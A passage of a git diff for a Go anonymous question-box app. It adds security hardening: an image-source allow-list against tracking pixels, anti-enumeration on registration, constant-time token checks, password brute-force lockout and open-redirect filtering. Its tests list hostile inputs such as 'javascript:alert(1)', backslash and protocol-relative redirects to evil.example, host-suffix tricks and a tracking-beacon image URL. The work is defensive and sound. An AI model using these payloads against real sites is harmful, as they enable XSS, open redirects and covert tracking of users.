{conf.Upload.AliyunBucket, conf.Upload.AliyunEndpoint},
{conf.Upload.ImageBucket, conf.Upload.ImageEndpoint},
} {
bucket, epHost := p[0], normalizeHostLike(p[1])
if epHost == "" {
continue
}
candidates = append(candidates, epHost)
if bucket != "" {
candidates = append(candidates, bucket+"."+epHost)
}
}
for _, c := range candidates {
if normalizeHostLike(c) == host {
return true
}
}
return false
}
// safeImageSrc 校验 <img src>:只允许站内相对路径,或指向自己图片出口的 http(s) URL。
//
// 背景(P1-1):safeURL 放行任意 https:// 主机,而浏览器加载页面时会无条件拉取 <img>,
// 于是匿名提问者只要塞一张唯一 URL 的外链图,箱主一打开,对方服务器就拿到了读取时间、
// 来源 IP 与 UA —— 等于给箱主装了「已读回执」。Referrer-Policy 只能挡住路径与 token,
// 挡不住这两样。公开回答里的外链图还会把每个访客的 IP 送给第三方。
// 内容审核的「广告_引流」维度只在 strict 档生效,不能作为唯一防线,所以在渲染层收口。
func safeImageSrc(u string) bool {
s := strings.TrimSpace(u)
if s == "" {
return false
}
// 浏览器把反斜杠等价于斜杠,任何含反斜杠的写法都直接拒绝(/\evil.com 等价 //evil.com)。
if strings.ContainsRune(s, '\\') {
return false
}
// 协议相对(//evil.com)必须先于「以 / 开头 = 站内」的判断。
if strings.HasPrefix(s, "//") {
return false
}
// 无协议部分 → 相对路径,必然同源,允许(/static/x.png、./x.png、x.png)。
if !strings.Contains(s, ":") {
return true
}
parsed, err := url.Parse(s)
if err != nil || parsed.Host == "" {
return false
}
if parsed.Scheme != "http" && parsed.Scheme != "https" {
return false
}
return imageHostAllowed(parsed.Hostname())
}
+123
View File
@@ -3,6 +3,8 @@ package template
import (
"strings"
"testing"
"github.com/tamakyi/TamaBox/internal/conf"
)
func TestMarkdownToHTML_Basic(t *testing.T) {
@@ -169,3 +171,124 @@ func TestSafeURL(t *testing.T) {
}
}
// TestSafeImageSrc 是 P1-1 的回归测试:<img src> 只允许站内相对路径与自己的图片出口。
//
// 危害:<img> 会在页面加载时无条件发起请求,匿名提问者塞一张唯一 URL 的外链图,
// 箱主一打开就暴露了读取时间 / IP / UA(等于已读回执);公开回答里的外链图还会
// 把每个访客的 IP 送给第三方。safeURL 面向 a[href],必须放行任意外站,故不能复用。
func TestSafeImageSrc(t *testing.T) {
oldCDN, oldExternal := conf.Upload.ImageBucketCDNHost, conf.App.ExternalURL
defer func() {
conf.Upload.ImageBucketCDNHost = oldCDN
conf.App.ExternalURL = oldExternal
}()
conf.Upload.ImageBucketCDNHost = "img.example.net"
conf.App.ExternalURL = "https://box.example.com"
allow := []string{
"/static/img/logo.webp",
"./local.png",
"../up.png",
"plain.png", // 无协议 → 同源相对路径
"https://img.example.net/picture/2026/x.webp",
"HTTPS://IMG.EXAMPLE.NET/picture/x.webp", // 主机名大小写不敏感
"https://img.example.net:443/picture/x.webp",
"http://box.example.com/static/x.png", // 站点自身域名
}
for _, u := range allow {
if !safeImageSrc(u) {
t.Errorf("safeImageSrc(%q) = false, 期望放行", u)
}
}
deny := []string{
"https://evil.example/x.png", // 任意外站:核心回归点
"//evil.example/x.png", // 协议相对
`\\evil.example/x.png`, // 反斜杠变体
`/\evil.example`, // 反斜杠变体(浏览器视作 //evil.example)
`https:/evil.example/x.png`, // 反斜杠 + 协议
"https://img.example.net.evil.example/x.png", // 后缀把戏
"https://[email protected]/x.png", // userinfo 把戏
"https://evil.example/img.example.net", // 域名出现在路径里
"javascript:alert(1)",
"data:image/png;base64,iVBORw0KGgo=",
"ftp://img.example.net/x.png",
"",
}
for _, u := range deny {
if safeImageSrc(u) {
t.Errorf("safeImageSrc(%q) = true, 期望拒绝", u)
}
}
}
// TestSafeImageSrc_RealConfiguredHosts 锁住「配置写成 host/path」这种真实形态。
//
// 回归点:只按 url.Parse(c).Host 判断配置是否带协议时,对
// "r2.example.net/tamabox" 这种写法得到空 Host,于是整串被当成主机名去比较,
// 永远不相等 —— 表现为箱主自己上传的图片也被渲染层整段丢弃(过度拦截)。
// 项目自带的 image_bucket_cdn_host 示例正是 host/path 写法,所以这不是边角情况。
func TestSafeImageSrc_RealConfiguredHosts(t *testing.T) {
old := conf.Upload
defer func() { conf.Upload = old }()
conf.Upload.ImageBucketCDNHost = "r2.example.net/tamabox"
conf.Upload.ImageBucket = "tamabox"
conf.Upload.ImageEndpoint = "https://acc123.r2.cloudflarestorage.com/tamabox"
conf.Upload.AliyunBucketCDNHost = ""
conf.Upload.AliyunBucket = ""
conf.Upload.AliyunEndpoint = ""
allow := []string{
"https://r2.example.net/tamabox/a.png", // CDN 配置写成 host/path
"https://acc123.r2.cloudflarestorage.com/tamabox/a.png", // path-style S3(R2 实际返回形态)
"https://tamabox.acc123.r2.cloudflarestorage.com/a.png", // virtual-hosted 形态
}
for _, u := range allow {
if !safeImageSrc(u) {
t.Errorf("safeImageSrc(%q) = false, 期望放行(自有图片出口)", u)
}
}
deny := []string{
"https://acc123.r2.cloudflarestorage.com.evil.example/a.png", // 后缀把戏
"https://evil.example/tamabox/a.png",
"https://r2.example.net.evil.example/tamabox/a.png",
}
for _, u := range deny {
if safeImageSrc(u) {
t.Errorf("safeImageSrc(%q) = true, 期望拒绝(非自有图片出口)", u)
}
}
}
// TestMarkdownToHTML_ImageSource 端到端锁定渲染结果:外链图片必须整段消失,
// 站内图片正常保留;同时确认 a[href] 的外站链接不受影响(需求上允许)。
func TestMarkdownToHTML_ImageSource(t *testing.T) {
oldCDN := conf.Upload.ImageBucketCDNHost
defer func() { conf.Upload.ImageBucketCDNHost = oldCDN }()
conf.Upload.ImageBucketCDNHost = "img.example.net"
external := string(MarkdownToHTML(`![a](https://tb-track.example.org/unique.png)`))
if strings.Contains(external, "tb-track.example.org") {
t.Fatalf("外链图片未被剥离:%s", external)
}
if strings.Contains(external, "<img") {
t.Fatalf("外链图片仍渲染出 <img>:%s", external)
}
rawHTML := string(MarkdownToHTML(`<img src="https://tb-track.example.org/raw.png">`))
if strings.Contains(rawHTML, "tb-track.example.org") {
t.Fatalf("原始 <img> 外链未被剥离:%s", rawHTML)
}
internal := string(MarkdownToHTML(`![a](https://img.example.net/picture/x.webp)`))
if !strings.Contains(internal, `<img src="https://img.example.net/picture/x.webp"`) {
t.Fatalf("站内图片被误删:%s", internal)
}
link := string(MarkdownToHTML(`[x](https://external.example.org/page)`))
if !strings.Contains(link, `href="https://external.example.org/page"`) {
t.Fatalf("a[href] 外链被误删:%s", link)
}
}
+1 -4
View File
@@ -5,8 +5,6 @@
package auth
import (
"path"
"github.com/flamego/recaptcha"
"github.com/pkg/errors"
"github.com/sirupsen/logrus"
@@ -56,8 +54,7 @@ func LoginAction(ctx context.Context, f form.Login, recaptcha recaptcha.Recaptch
return
}
to := ctx.Query("to")
to = path.Clean("/" + to)
to := shared.SafeRedirectTarget(ctx.Query("to"))
if to == "" {
to = "/_/" + user.Domain
}
+28 -5
View File
@@ -66,14 +66,28 @@ func RegisterAction(ctx context.Context, f form.Register, recaptcha recaptcha.Re
Language: i18n.Resolve(f.Language), // 注册时选择的界面语言;留空回退站点默认
}); err != nil {
switch {
// 防枚举:邮箱是否已注册,对外必须与"注册成功"不可区分。
//
// 注册接口原本会直接回"该邮箱已被注册",而找回密码接口(ForgotPasswordAction)
// 早就统一成"已发送"。两处口径不一致的结果是:任何人都能批量确认
// "某个邮箱是不是这个匿名提问箱的用户"—— 这是成员关系泄露,比一般站更敏感。
// 真实原因只写服务端日志(运营排查要看得到到底撞的是哪一类)。
case errors.Is(err, db.ErrDuplicateEmail):
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "auth.errDuplicateEmail")))
logrus.WithContext(ctx.Request().Context()).
WithField("email", f.Email).
Warn("注册命中已存在的邮箱,按成功流程静默处理(防枚举)")
registerSucceeded(ctx)
return
case errors.Is(err, db.ErrDeactivatedEmail):
logrus.WithContext(ctx.Request().Context()).
WithField("email", f.Email).
Warn("注册命中已停用账号的邮箱,按成功流程静默处理(防枚举)")
registerSucceeded(ctx)
return
// 域名占用不遮蔽:域名是公开命名空间,/_/<domain> 本来就可探测,
// 遮蔽只会让用户以为自己注册成功、后续登不上又找不到原因。
case errors.Is(err, db.ErrDuplicateDomain):
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "auth.errDuplicateDomain")))
// 已停用账号仍保留身份占位(占着邮箱/域名唯一索引),不再静默通过或抛 500,
// 而是明确告知用户该身份已被占用、可由站长核验后恢复。
case errors.Is(err, db.ErrDeactivatedEmail):
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "auth.errDeactivatedEmail")))
case errors.Is(err, db.ErrDeactivatedDomain):
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "auth.errDeactivatedDomain")))
case errors.Is(err, db.ErrBadCredential):
@@ -88,6 +102,15 @@ func RegisterAction(ctx context.Context, f form.Register, recaptcha recaptcha.Re
return
}
registerSucceeded(ctx)
}
// registerSucceeded 是注册接口唯一的"成功"出口。
//
// 抽成函数是为了让"真的建成功了"和"因为邮箱已存在而没建"走同一条路径 ——
// 一旦两处分别写,响应体的措辞、跳转目标、flash 文案迟早会漂移出差异,
// 差异就是枚举信号。新增失败分支时若想遮蔽,直接调用本函数即可。
func registerSucceeded(ctx context.Context) {
// 成功提示跟随用户注册时选择的语言
lang := "zh-CN"
if l, ok := ctx.Data["Lang"].(string); ok && l != "" {
+61
View File
@@ -0,0 +1,61 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package route
import (
stdctx "context"
"net/http"
"time"
"github.com/sirupsen/logrus"
"github.com/tamakyi/TamaBox/internal/context"
"github.com/tamakyi/TamaBox/internal/db"
)
// readyzTimeout 就绪探针等待数据库的最长时间。
// 刻意短:探针本身不该成为慢请求,超时就视为「未就绪」并由上层重试。
const readyzTimeout = 2 * time.Second
// Healthz 存活探针:进程还能处理请求就返回 200。
//
// 刻意不碰任何外部依赖。「进程还活着」和「能对外服务」是两个问题:
// 前者挂了才该重启,后者挂了该摘流 —— 后者看 Readyz。
// 把 DB 检查塞进存活探针是常见反模式:数据库抖动会导致进程被反复重启,
// 而重启对恢复数据库毫无帮助,只会让在途请求全部失败。
func Healthz(ctx context.Context) {
w := ctx.ResponseWriter()
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Cache-Control", "no-store")
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte("ok"))
}
// Readyz 就绪探针:数据库可用才返回 200,否则 503。
//
// 为什么需要这个端点:改动前站内唯一的「探活」手段是 curl /,而首页只渲染模板、
// 不查数据库 —— DB 挂了首页照样 200(漏报),Redis 挂了首页又可能 500(误报)。
// 于是监控、CDN 源站健康检查、滚动重启的摘流判定都没有可靠依据。
//
// 响应体只回组件状态,绝不回错误详情:这是公开端点,数据库报错里常带库名、
// 主机名甚至账号信息。错误详情只写日志。
func Readyz(ctx context.Context) {
reqCtx, cancel := stdctx.WithTimeout(ctx.Request().Context(), readyzTimeout)
defer cancel()
w := ctx.ResponseWriter()
w.Header().Set("Content-Type", "application/json; charset=utf-8")
w.Header().Set("Cache-Control", "no-store")
if err := db.Ping(reqCtx); err != nil {
logrus.WithContext(reqCtx).WithError(err).Warn("就绪探针:数据库不可用")
w.WriteHeader(http.StatusServiceUnavailable)
_, _ = w.Write([]byte(`{"status":"unavailable","database":"down"}`))
return
}
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte(`{"status":"ok","database":"up"}`))
}
+132
View File
@@ -0,0 +1,132 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package question
import (
"crypto/subtle"
"encoding/json"
"net/http"
"strings"
"github.com/pkg/errors"
"github.com/sirupsen/logrus"
"github.com/tamakyi/TamaBox/internal/context"
"github.com/tamakyi/TamaBox/internal/db"
"github.com/tamakyi/TamaBox/internal/i18n"
templatepkg "github.com/tamakyi/TamaBox/internal/template"
)
// 一次最多查询多少条。浏览器里存的是「这台设备上提过的全部问题」,
// 正常用户不会超过几条;设上限是为了让这个公开接口不能被当成批量探测器用。
const askStatusMaxItems = 20
type askStatusItem struct {
ID uint `json:"id"`
Token string `json:"token"`
}
type askStatusRequest struct {
Domain string `json:"domain"`
Items []askStatusItem `json:"items"`
}
type askStatusResult struct {
ID uint `json:"id"`
OK bool `json:"ok"` // token 校验通过(false 表示记录已失效,前端应删除)
Answered bool `json:"answered"` // 已有回答(追问不计)
Excerpt string `json:"excerpt"` // 正文摘要,让用户一眼认出是哪一条
Created int64 `json:"created"` // 提问时间(unix 秒),前端按本地时区显示
}
// askExcerptRuneLimit 摘要长度(按 rune 计,不按字节 —— 按字节会在多字节字符中间切断)。
const askExcerptRuneLimit = 60
// askExcerpt 取正文前若干字符作为摘要。
//
// 先转纯文本再截断:正文是 markdown,直接截原文会在列表里露出
// `![图片](https://...)` 这种噪音,一条带图的提问几乎只剩链接。
func askExcerpt(content string) string {
r := []rune(strings.TrimSpace(templatepkg.PlainText(content)))
if len(r) <= askExcerptRuneLimit {
return string(r)
}
return string(r[:askExcerptRuneLimit]) + "…"
}
// AskStatusAPI 批量查询「这些提问里哪些已经被回答」。
//
// 存在的理由:不填邮箱的提问者,唯一的追踪手段是提问成功页上那条链接。
// 关掉页面就等于永久失联 —— 箱主认真答了,提问者永远不知道。
// 前端把 {domain, id, token} 存在 localStorage,再回到箱主页时问一次这个接口,
// 就能提示「你有 2 条提问已被回答」。不引入账号,也不在服务端建立访客追踪。
//
// 安全性:必须同时给出正确的 token 才返回 ok=true,token 是 12 位随机串,
// 且比较走常数时间(与 Pager 中间件同口径),所以这个接口不能用来枚举
// 「某箱主有多少提问」「某个 id 是否存在」—— 错误的组合一律 ok=false,
// 与「提问不存在」「不属于该箱主」「token 不对」三种情况无法区分。
func AskStatusAPI(ctx context.Context) error {
// 路由只注册了 POST(token 不能进 URL),这段是防御:万一将来有人把
// 路由改成 f.Any / f.Combo,GET 也不该走到解析 body 那一步。
if ctx.Request().Method != http.MethodPost {
return ctx.JSONError(40500, http.StatusText(http.StatusMethodNotAllowed))
}
var req askStatusRequest
if err := json.NewDecoder(ctx.Request().Request.Body).Decode(&req); err != nil {
return ctx.JSONError(40000, i18n.T(ctx.Lang(), "internal.errBadRequest"))
}
if req.Domain == "" || len(req.Items) == 0 {
return ctx.JSONError(40000, i18n.T(ctx.Lang(), "internal.errBadRequest"))
}
if len(req.Items) > askStatusMaxItems {
req.Items = req.Items[:askStatusMaxItems]
}
owner, err := db.Users.GetByDomain(ctx.Request().Context(), req.Domain)
if err != nil {
if errors.Is(err, db.ErrUserNotExists) {
// 不区分「箱主不存在」与「提问不属于他」:一律返回空结果。
return ctx.JSON(map[string]interface{}{"items": []askStatusResult{}})
}
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to get box owner for ask status")
return ctx.ServerError()
}
// 收集合法 ID 并一次查回(IN 查询,避免逐条 N+1)。
ids := make([]uint, 0, len(req.Items))
for _, it := range req.Items {
if it.ID != 0 {
ids = append(ids, it.ID)
}
}
questions, err := db.Questions.ListByIDsAndUser(ctx.Request().Context(), ids, owner.ID)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to list questions for ask status")
return ctx.ServerError()
}
byID := make(map[uint]*db.Question, len(questions))
for _, q := range questions {
byID[q.ID] = q
}
out := make([]askStatusResult, 0, len(req.Items))
for _, it := range req.Items {
res := askStatusResult{ID: it.ID}
if q, found := byID[it.ID]; found && q.Token != "" && it.Token != "" &&
subtle.ConstantTimeCompare([]byte(q.Token), []byte(it.Token)) == 1 {
res.OK = true
res.Answered = q.Answer != ""
// token 已校验通过,返回摘要不额外泄露任何东西 —— 提问者本来就能用
// 同一个 token 打开全文。
res.Excerpt = askExcerpt(q.Content)
res.Created = q.CreatedAt.Unix()
}
out = append(out, res)
}
return ctx.JSON(map[string]interface{}{"items": out})
}
+23 -4
View File
@@ -2,6 +2,7 @@ package question
import (
stdctx "context"
"crypto/subtle"
"fmt"
"unicode/utf8"
@@ -21,7 +22,11 @@ import (
// isQuestioner 判断当前请求者是否为该提问的提问者。
// 匿名提问者通过 token(URL 或表单隐藏域)验证;登录提问者通过账号 ID 验证。
func isQuestioner(ctx context.Context, question *db.Question, token string) bool {
if question.Token != "" && question.Token == token {
// 常数时间比较:与 Pager 中间件里的校验(route/question/question.go)同一口径。
// 用 == 会按字节短路,攻击者能靠响应时间逐字节试探出 token ——
// 而 token 就是「私密提问 / 尚未回答的提问」唯一的钥匙。
if question.Token != "" && token != "" &&
subtle.ConstantTimeCompare([]byte(question.Token), []byte(token)) == 1 {
return true
}
if ctx.IsLogged && question.AskerUserID != 0 && ctx.User.ID == question.AskerUserID {
@@ -82,6 +87,9 @@ func PublishFollowUp(ctx context.Context, pageUser *db.User, question *db.Questi
// 服务端校验"等主人回复":模板仅在前一条被回复后才展示追问表单,
// 但 POST 可被直接构造绕过,因此必须检查最新一条追问是否已回复。
//
// 这一段只是「快速失败」省掉一次事务开销;并发/双击下的正确性由
// db.FollowUps.CreateIfBelowLimit 在事务内重新判定(见 ErrFollowUpAwaitingReply)。
latest, err := db.FollowUps.GetLatestByQuestionID(ctx.Request().Context(), question.ID)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to get latest follow up")
@@ -118,6 +126,12 @@ func PublishFollowUp(ctx context.Context, pageUser *db.User, question *db.Questi
ctx.Redirect(fmt.Sprintf("/_/%s/%d?t=%s", pageUser.Domain, question.ID, question.Token))
return
}
if errors.Is(err, db.ErrFollowUpAwaitingReply) {
// 事务层的兜底(并发双击时会走到这里)
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "followup.errWaitReply"))
ctx.Redirect(fmt.Sprintf("/_/%s/%d?t=%s", pageUser.Domain, question.ID, question.Token))
return
}
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to create follow up")
ctx.SetInternalErrorFlash()
ctx.Redirect(fmt.Sprintf("/_/%s/%d?t=%s", pageUser.Domain, question.ID, question.Token))
@@ -183,7 +197,8 @@ func AnswerFollowUp(ctx context.Context, pageUser *db.User, question *db.Questio
return
}
if err := db.FollowUps.UpdateAnswerByID(ctx.Request().Context(), question.ID, followUpID, f.Answer); err != nil {
wasFirst, err := db.FollowUps.UpdateAnswerByID(ctx.Request().Context(), question.ID, followUpID, f.Answer)
if err != nil {
if errors.Is(err, db.ErrFollowUpNotFound) {
// 同请求渲染需用 SetError(SetErrorFlash 要等下一次请求才显示)。
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "followup.errNotFound")), f)
@@ -196,9 +211,13 @@ func AnswerFollowUp(ctx context.Context, pageUser *db.User, question *db.Questio
return
}
// 邮件通知提问者(留下邮箱时):复用"您的提问有了回复"模板,带 token 链接
// 邮件通知提问者(留下邮箱时):复用"您的提问有了回复"模板,带 token 链接。
//
// 只在**首次**回答时发:箱主改一次措辞、补一句、修错别字都会重新保存,
// 每次都发的话提问者会连着收到好几封一模一样的「您的提问有回复」。
// 主回答那边早就有同样的判定(question.Answer == ""),这里补齐。
shared.SafeGo(func() {
if question.ReceiveReplyEmail != "" {
if wasFirst && question.ReceiveReplyEmail != "" {
if err := mail.SendNewAnswerMail(question.ReceiveReplyEmail, pageUser.Domain, question.ID, question.Content, f.Answer, question.Token); err != nil {
logrus.WithContext(stdctx.Background()).WithError(err).Error("Failed to send follow up answer mail to questioner")
}
+71
View File
@@ -0,0 +1,71 @@
package question
import (
"os"
"path/filepath"
"strings"
"testing"
"github.com/stretchr/testify/require"
"github.com/tamakyi/TamaBox/internal/conf"
)
// TestFontCandidatesOrder 锁住候选字体的优先级。
//
// 顺序错了不会报错,只会让线上多花几秒去解析一个注定失败的 19 MB CFF 字体
// (Noto Sans CJK 是 OTTO 轮廓,freetype 不支持),甚至在缺字体时把排障引向
// 「配了 font_path 却仍失败」的错误方向。
func TestFontCandidatesOrder(t *testing.T) {
old := conf.App.FontPath
t.Cleanup(func() { conf.App.FontPath = old })
conf.App.FontPath = "/opt/fonts/mine.ttf"
got := fontCandidates()
require.NotEmpty(t, got)
require.Equal(t, "/opt/fonts/mine.ttf", got[0], "配置项必须排在最前")
idxWQY, idxNoto := -1, -1
for i, p := range got {
if strings.Contains(p, "wqy-zenhei") {
idxWQY = i
}
if strings.Contains(p, "NotoSansCJK") && idxNoto < 0 {
idxNoto = i
}
}
require.NotEqual(t, -1, idxWQY, "系统 glyf 候选(文泉驿)应保留")
require.NotEqual(t, -1, idxNoto, "CFF 兜底候选应保留")
require.Less(t, idxWQY, idxNoto, "glyf 轮廓的系统字体必须排在 Noto(CFF) 之前")
}
// TestStaticFontDirs 校验两条不变式:返回的目录一定真实存在、且不重复。
// 存在性很重要 —— 把不存在的目录交给 Glob 不会报错,只会静默返回空,
// 于是「字体明明放在 static/fonts 却找不到」这种问题查起来毫无线索。
func TestStaticFontDirs(t *testing.T) {
seen := make(map[string]struct{})
for _, d := range staticFontDirs() {
st, err := os.Stat(d)
require.NoError(t, err, "候选目录必须存在:%s", d)
require.True(t, st.IsDir(), "候选必须是目录:%s", d)
_, dup := seen[d]
require.False(t, dup, "目录重复:%s", d)
seen[d] = struct{}{}
}
}
// TestLoadFontWithPathReportsTried 确认失败信息里列出实际尝试过的路径 ——
// 缺字体时这条文案就是唯一线索(分享卡是公开端点,没人看得到 console)。
func TestLoadFontWithPathReportsTried(t *testing.T) {
old := conf.App.FontPath
t.Cleanup(func() { conf.App.FontPath = old })
conf.App.FontPath = filepath.Join(t.TempDir(), "definitely-missing.ttf")
// 环境里可能偏偏装着可用系统字体,那就只能跳过(不断言失败)。
if _, path, err := loadFontWithPath(); err == nil {
t.Skipf("本机存在可用系统字体 %q,跳过失败路径断言", path)
} else {
require.Contains(t, err.Error(), "definitely-missing.ttf", "错误信息必须列出尝试过的路径")
require.Contains(t, err.Error(), "TrueType 轮廓", "错误信息必须点明需要 glyf 轮廓")
}
}
+120 -56
View File
@@ -35,6 +35,7 @@ import (
"github.com/tamakyi/TamaBox/internal/form"
"github.com/tamakyi/TamaBox/internal/i18n"
"github.com/tamakyi/TamaBox/internal/imagecheck"
"github.com/tamakyi/TamaBox/internal/insights"
"github.com/tamakyi/TamaBox/internal/mail"
"github.com/tamakyi/TamaBox/internal/security/moderation"
"github.com/tamakyi/TamaBox/internal/shared"
@@ -201,6 +202,15 @@ func Pager(ctx context.Context) {
} else {
ctx.Data["PageQuestionCursor"] = ""
}
// 访问统计:只有走到这里才是「真的把箱主页渲染出去了」——
// 上面所有错误分支、密码页分支都已提前 return。
//
// 箱主自己访问自己的箱不计入:否则箱主每刷新一次就把自己的 UV/PV 拉高一次,
// 面板上的数字就没有任何参考价值。爬虫与预取由 RecordView 内部过滤。
if !ctx.IsLogged || ctx.User.ID != pageUser.ID {
insights.RecordView(pageUser.ID, shared.ResolveClientIP(ctx.Request().Request), ctx.Request().Request)
}
}
// conversationWithFirstMessage 用于在列表展示私聊时附带第一条消息
@@ -217,6 +227,14 @@ func formatFeatureTime(t *time.Time) string {
return t.Format("2006-01-02 15:04")
}
// pagePasswordGuard 页面访问密码的爆破防护(P1-2)。
//
// 现实参数:该入口限流 10 次/分钟/IP,4 位纯数字(10^4)约 17 小时即可穷举完,
// 而页面密码正是产品对外宣传的访问控制。改成「10 分钟内错 5 次 → 锁 10 分钟」后,
// 同样的穷举被拉到数周量级,且锁定期间根本不比对密码。
// 锁定期满会自动清零(不会一次误触就永久锁死),语义见 shared.AttemptLimiter。
var pagePasswordGuard = shared.NewAttemptLimiter(5, 10*time.Minute, 10*time.Minute)
func PasswordPage(ctx context.Context) {
domain := ctx.Param("domain")
pageUser, err := db.Users.GetByDomain(ctx.Request().Context(), domain)
@@ -243,17 +261,33 @@ func VerifyPagePassword(ctx context.Context) {
ctx.Redirect("/")
return
}
// 爆破防护(P1-2):同一「箱主 + 来源 IP」在窗口内错够次数就锁一段时间。
// 键里带 pageUser.ID,避免攻击者用自己箱子的失败次数把别人的密码入口锁死。
// 锁定期间直接拒绝、不比对密码,免得每次失败都白算一遍哈希。
guardKey := fmt.Sprintf("page_pwd:%d:%s", pageUser.ID, shared.LimitKey(shared.ResolveClientIP(ctx.Request().Request)))
if blocked, remain := pagePasswordGuard.Blocked(guardKey); blocked {
minutes := int(remain/time.Minute) + 1
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "question.errPasswordLocked", minutes))
ctx.Redirect("/_/" + domain + "/password")
return
}
password := ctx.Request().FormValue("password")
if pageUser.CheckPagePassword(password) {
pagePasswordGuard.Reset(guardKey)
passKey := fmt.Sprintf("page_pass_%d", pageUser.ID)
ctx.Session.Set(passKey, true)
// 验证成功后跳回原始页面(如带 token 的单题链接),避免一律回到首页
next := ctx.Request().FormValue("next")
if next == "" || !strings.HasPrefix(next, "/") || strings.HasPrefix(next, "//") || strings.Contains(next, "://") {
// 验证成功后跳回原始页面(如带 token 的单题链接),避免一律回到首页。
// 必须走 shared.SafeRedirectTarget:这里原先自己判「以 / 开头、非 //、不含 ://」,
// 但没拒反斜杠 —— `next=/\evil.example` 会被浏览器当成 https://evil.example/。
next := shared.SafeRedirectTarget(ctx.Request().FormValue("next"))
if next == "" {
next = "/_/" + domain
}
ctx.Redirect(next)
} else {
pagePasswordGuard.Fail(guardKey)
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "question.errWrongPassword"))
ctx.Redirect("/_/" + domain + "/password")
}
@@ -341,21 +375,38 @@ func ListAPI(ctx context.Context) error {
return ctx.JSON(resp)
}
func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha recaptcha.RecaptchaV3) {
// 提问密码检查
if pageUser.AskPassword != "" {
if !pageUser.CheckAskPassword(f.AskPassword) {
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "question.errAskPasswordWrong")), f)
ctx.Success("question/list")
return
}
// askPasswordDenied 校验提问密码,失败时写入表单错误并返回 true(调用方直接 return)。
//
// ⚠️ 必须排在验证码校验之后调用。旧实现把它放在 New() 的第一行,于是「猜密码」的请求
// 完全不消耗验证码:实测错误密码 + 完全无效的验证码,返回的是「提问密码错误」,
// 验证码在这个入口等于不存在 —— 30 次/分钟 × 无成本,4 位数字约 6 小时可破。
// 挪到验证码之后,每次猜密码都要先解一道题(验证码接口自身还有 20/分钟/IP 的限额)。
func askPasswordDenied(ctx context.Context, pageUser *db.User, f form.NewQuestion) bool {
if pageUser.AskPassword == "" {
return false
}
if pageUser.CheckAskPassword(f.AskPassword) {
return false
}
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "question.errAskPasswordWrong")), f)
ctx.Success("question/list")
return true
}
func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha recaptcha.RecaptchaV3) {
// 提问功能开关 / 定时 / 定量:任一条件不满足即拒绝普通提问(纵深防御,页面入口已隐藏表单)。
// 私聊请求不受影响:提问与私聊是相互独立的功能,提问关闭不应阻断已开启的私聊。
isChatRequest := f.StartChat == "true" && ctx.IsLogged
askState := db.FeatureStateOf(ctx.Request().Context(), pageUser.ID, db.FeatureQuestion)
// 用严格版:读配置失败时拒绝而不是回退默认「开启」,
// 否则箱主设的关闭 / 已达上限只要赶上一次数据库抖动就被绕过。
askState, err := db.FeatureStateOfStrict(ctx.Request().Context(), pageUser.ID, db.FeatureQuestion)
if err != nil {
// 同请求渲染:这里用户刚写完正文,不能因为一次读配置失败就把内容丢掉。
ctx.SetInternalError(f)
ctx.Success("question/list")
return
}
if !askState.Open && !isChatRequest {
lang := i18n.Default
if l, ok := ctx.Data["Lang"].(string); ok && l != "" {
@@ -386,8 +437,13 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
return
}
// 私聊功能开关 / 定时 / 定量
chatState := db.FeatureStateOf(ctx.Request().Context(), pageUser.ID, db.FeatureChat)
// 私聊功能开关 / 定时 / 定量(严格版,理由同上)
chatState, err := db.FeatureStateOfStrict(ctx.Request().Context(), pageUser.ID, db.FeatureChat)
if err != nil {
ctx.SetInternalError(f)
ctx.Success("question/list")
return
}
if !chatState.Open {
lang := i18n.Default
if l, ok := ctx.Data["Lang"].(string); ok && l != "" {
@@ -458,6 +514,12 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
return
}
// 提问密码:验证码通过之后才比对(见 askPasswordDenied 注释)。
// 私聊与提问共用同一个提问密码,这里不能漏,否则发起私聊可绕过它。
if askPasswordDenied(ctx, pageUser, f) {
return
}
// 同 IP + 相同内容重复拦截(防刷屏)
if !shared.DuplicateGuard.Allow(shared.DuplicateKey(shared.ResolveClientIP(ctx.Request().Request), f.Content)) {
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "question.errDuplicateSubmit"))
@@ -479,39 +541,28 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
maxMessages = conf.Limits.ChatMaxMessages
}
conv, err := db.Conversations.Create(ctx.Request().Context(), db.CreateConversationOptions{
OwnerID: pageUser.ID,
AskerID: ctx.User.ID,
MaxMessages: maxMessages,
})
// 建会话 + 首条消息,一个事务写完。
// 原来三步分开写:第二步失败时会话已经落库,
// 留下一条 message_count=0 、没有任何消息的「空会话」
// (箱主的私聊列表里能看到、点进去什么都没有),
// 而且 BeforeCreate 已经占掉一个 6 字符 token(唯一索引),孤儿会话会永久占用它。
conv, _, err := db.Conversations.CreateWithFirstMessage(
ctx.Request().Context(),
db.CreateConversationOptions{
OwnerID: pageUser.ID,
AskerID: ctx.User.ID,
MaxMessages: maxMessages,
},
ctx.User.ID,
f.Content,
)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to create conversation")
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to create conversation with first message")
